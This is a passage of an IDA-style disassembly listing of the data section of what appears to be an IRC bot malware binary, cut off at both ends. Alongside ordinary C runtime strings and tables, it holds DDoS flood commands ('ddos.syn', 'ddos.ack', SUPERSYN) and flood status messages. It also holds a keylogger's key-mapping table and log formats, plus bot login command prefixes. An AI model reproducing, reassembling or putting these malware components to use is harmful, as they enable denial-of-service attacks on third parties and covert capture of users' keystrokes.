6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr ; sub_40CAF1+2D8r ... dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_415450+1Er dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr ; sub_417DEB+6Cr ... dd 0FFFFFFFFh, 419CBBh, 419CCFh byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_433C6Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_433C68o align 10h a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_435EBCo align 8 dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr ; sub_41C2F3+ACr ... dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o align 10h dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o dd offset loc_41D1DE align 10h dd offset sub_41D1BC dd offset sub_41D1C6 dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o dd offset loc_41D54D align 8 dd offset loc_41D539 dd offset loc_41D53D dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o dd offset loc_41D5A3 align 10h dd offset loc_41D58F dd offset loc_41D593 dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o ; sub_41FB63+39o ... dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h ; DATA XREF: sub_41E709+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_4362FCo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o align 4 asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41F885+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do align 8 dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo align 4 dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h ; DATA XREF: sub_4221EA+5o dd 424DC4h off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o ; sub_4227EE+2Co ... dd offset sub_4227C5 dd offset sub_4229E6 dd offset dword_424E10 off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao ; sub_422858o ... dd offset sub_4227C5 dd offset loc_422A22 dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o ; sub_4228C0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o dd offset dword_424E5C off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o ; sub_42298A+37o ... dd offset sub_4227C5 dd offset loc_422A04 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o dd offset dword_424EA0 off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o ; ___:off_436A1Co ... dd offset dword_424ED0 off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o ; sub_422B5C+8o ... dd offset sub_422BBC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o align 8 dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo dd 3, 19930520h, 2 dup(0) dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh ; DATA XREF: sub_422C78+5o dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h ; DATA XREF: sub_422F03+5o dd 436A1Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_424D90 dd offset off_436A34 ; DATA XREF: ___:00424DA8o ; ___:00424DF4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424D90 dd offset dword_424D60+18h dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o dd 2, 424DA8h, 3 dup(0) dd offset off_436A34 dd offset dword_424DB0+4 off_424DD8 dd offset off_436A54 ; DATA XREF: ___:00424DF0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424DD8 dd offset off_424D90 dd offset dword_424D60+18h dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o dd 3, 424DF0h dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o dd offset off_436A54 dd offset dword_424DFC+4 off_424E24 dd offset off_436A74 ; DATA XREF: ___:00424E3Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424E24 dd offset off_424D90 dd offset dword_424D60+18h dword_424E48 dd 3 dup(0) ; DATA XREF: ___:00424E6Co dd 3, 424E3Ch dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo dd offset off_436A74 dd offset dword_424E48+4 off_424E70 dd offset off_436A98 ; DATA XREF: ___:00424E88o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_424E70 dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o dd 1, 424E88h dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo dd offset off_436A98 dd offset dword_424E8C+4 dd offset dword_424D60+18h dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o dd 1, 424EB4h dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o dd offset off_436A1C dd offset dword_424EB8+8 align 8 dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o dd 0FFFFFFFFh, 4230D0h, 0 dd offset sub_4230C8 dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o dd 0FFFFFFFFh, 4230F4h, 0 dd offset loc_4230FC dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 424F90h, 4 dup(0) dd offset loc_40477E dd 0FFFFFFFFh, 42311Ah dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o dd offset off_436A1C align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 422B5Ch, 0 dd offset off_436A34 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 422908h, 0 dd offset off_436A54 align 8 dd 0FFFFFFFFh, 0 dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo ; sub_4229E6+4Bo dd offset sub_422858 dd 0 dd offset dword_425010+8 dd 0FFFFFFFFh, 42312Ch dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o dd 0FFFFFFFFh, 42313Eh dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o dd 0FFFFFFFFh, 423150h dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o dd offset off_436A74 align 10h dd 0FFFFFFFFh, 0 dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo ; sub_4229E6+2Do dd offset sub_422967 dd 0 dd offset dword_4250B8+8 dd 0FFFFFFFFh, 423162h dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo dd offset sub_4227AA dd 0 dd offset dword_425104 dd 5 dup(35FC1308h), 5 dup(6E77FCADh), 5 dup(22319DBDh) dd 7Ah dup(0) dd 22319DBDh, 0 dd 35FC1308h, 12h dup(0) dd 6E77FCADh, 319h dup(0) dword_426000 dd 0 ; DATA XREF: ___:00419AD7o dd offset sub_4030CC dd offset sub_40482C dd offset sub_40484E dword_426010 dd 0 ; DATA XREF: ___:00419AD2o dword_426014 dd 0 ; DATA XREF: ___:00419AC8o dd offset sub_418682 dd offset sub_41ECF1 dd offset sub_41FA42 dd offset dword_4208B4 dword_426028 dd 0 ; DATA XREF: ___:loc_419AC3o dword_42602C dd 0 ; DATA XREF: sub_419B07+65o dd offset sub_41FAE7 dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o dword_426038 dd 0 ; DATA XREF: sub_419B07+76o dd offset dword_4208B4+11h dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o unk_426050 db 2 ; DATA XREF: sub_401000+5Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_426088 db 2 ; DATA XREF: sub_4010B5+302o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o ; sub_40EE72+268Fo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o ; sub_40EE72+2678o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o ; sub_40EE72+2661o align 4 unk_4260DC db 2 ; DATA XREF: sub_40144A+397o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_42613C db 2 ; DATA XREF: sub_40144A+307o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 4 unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo align 10h dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D7+4Bo dd 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A76+27Do dd 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+4EBo dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+44Fo dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401D82+312o ; sub_40EE72+2C3Co align 4 aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o ; sub_40EE72+2C25o aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o ; sub_40EE72+2C0Do dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+70o dd 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4023A7:loc_40248Ao unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022C6+AEo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo ; sub_40EE72+2AE5o align 4 asc_426C1C: ; DATA XREF: sub_4022C6+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo align 4 off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er dd offset off_4274DC dd offset off_4274D8 dd offset aHttp ; "HTTP" dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo dword_426C8C dd 0 ; DATA XREF: sub_402688+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 